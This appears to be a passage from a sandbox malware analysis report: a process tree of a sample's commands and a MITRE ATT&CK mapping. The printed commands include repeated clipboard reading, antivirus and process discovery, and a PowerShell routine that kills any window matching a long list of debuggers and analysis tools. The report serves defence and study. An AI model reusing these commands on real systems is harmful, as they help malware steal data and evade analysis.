    3⤵
    PID:5892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=3860,i,17061554359265841955,13850288013346069071,2097152 --field-trial-handle=2360,i,17286694042009952046,17219077041615850525,262144 --disable-features=BraveAds,BraveNews,BraveRewards --variations-seed-version --mojo-platform-channel-handle=3968 /prefetch:2
    3⤵
    PID:5784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /PID 5140 /T"
  2⤵
  PID:6052
- - C:\Windows\system32\taskkill.exe
    taskkill /F /PID 5140 /T
    3⤵
    - Kills process with taskkill
    PID:4340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe /T"
  2⤵
  PID:5856
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM msedge.exe /T
    3⤵
    - Kills process with taskkill
    PID:2800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  PID:3880
- - C:\Windows\system32\net.exe
    net session
    3⤵
    PID:5304
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID""
  2⤵
  - Executes a command shell one-liner
  PID:5272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' | Select-Object -ExpandProperty DeviceID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:5640
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  PID:6120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -ExpandProperty displayName""
  2⤵
  PID:1884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct -ErrorAction SilentlyContinue | Select-Object -ExpandProperty displayName"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-CimInstance Win32_OperatingSystem).Caption""
  2⤵
  - Executes a command shell one-liner
  PID:5636
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-CimInstance Win32_OperatingSystem).Caption"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  PID:5588
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  PID:2808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5548
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:4288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:1868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:3128
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2520
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  PID:1336
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  PID:2728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:1256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5848
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5744
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:2632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:2884
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:1792
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  PID:5176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5300
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5660
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:3236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:1916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:3168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5284
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:4032
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:5512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command " Add-Type @\" using System; using System.Runtime.InteropServices; using System.Text; using System.Collections.Generic; public class WindowEnum { [DllImport(\"user32.dll\")] static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport(\"user32.dll\", CharSet = CharSet.Auto)] static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport(\"user32.dll\")] static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId); delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); public static List<int> GetPidsForTitles(string[] blacklist) { var pids = new List<int>(); EnumWindows((hWnd, lParam) => { var sb = new StringBuilder(256); GetWindowText(hWnd, sb, 256); string title = sb.ToString().ToLower(); if (title.Length > 0) { foreach (var b in blacklist) { if (title.Contains(b.ToLower())) { uint pid; GetWindowThreadProcessId(hWnd, out pid); pids.Add((int)pid); break; } } } return true; }, IntPtr.Zero); return pids; } } \"@ $blacklist = @('simpleassemblyexplorer','dojandqwklndoqwd','procmon64','process hacker','sharpod','http debugger','dbgclr','x32dbg','sniffer','petools','simpleassembly','ksdumper','dnspy','x96dbg','de4dot','exeinfope','windbg','mdb','harmony','systemexplorerservice','megadumper','system explorer','mdbg','kdb','charles','stringdecryptor','phantom','debugger','extremedumper','pc-ret','folderchangesview','james','process monitor','protection_id','de4dotmodded','x32_dbg','pizza','fiddler','x64_dbg','httpanalyzer','strongod','wireshark','gdb','graywolf','x64dbg','ksdumper v1.1 - by equifox','wpe pro','ilspy','dbx','ollydbg','x64netdumper','scyllahide','kgdb','systemexplorer','proxifier','debug','httpdebug','httpdebugger','0harmony','mitmproxy','ida -','codecracker','ghidra','titanhide','hxd','reversal','binary ninja','cutter','detect it easy','resource hacker','api monitor','regshot','pestudio','pe-bear','pe bear','hollows hunter','process explorer','autoruns') $pids = [WindowEnum]::GetPidsForTitles($blacklist) foreach ($pid in $pids) { try { Stop-Process -Id $pid -Force -ErrorAction SilentlyContinue } catch {} } ""
  2⤵
  - Executes a command shell one-liner
  PID:3016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:4048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:6076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:1976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:5900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:6124
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:4176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Get-Clipboard""
  2⤵
  - Clipboard Data
  PID:6132
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:5996
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FO CSV /NH"
  2⤵
  - Executes a command shell one-liner
  PID:5632
- - C:\Windows\system32\tasklist.exe
    tasklist /FO CSV /NH
    3⤵
    - Discovers running processes
    PID:2544

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2928

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:472

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Ignore Process Interrupts

T1564.011

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Process Discovery

T1057

Query Registry

System Information Discovery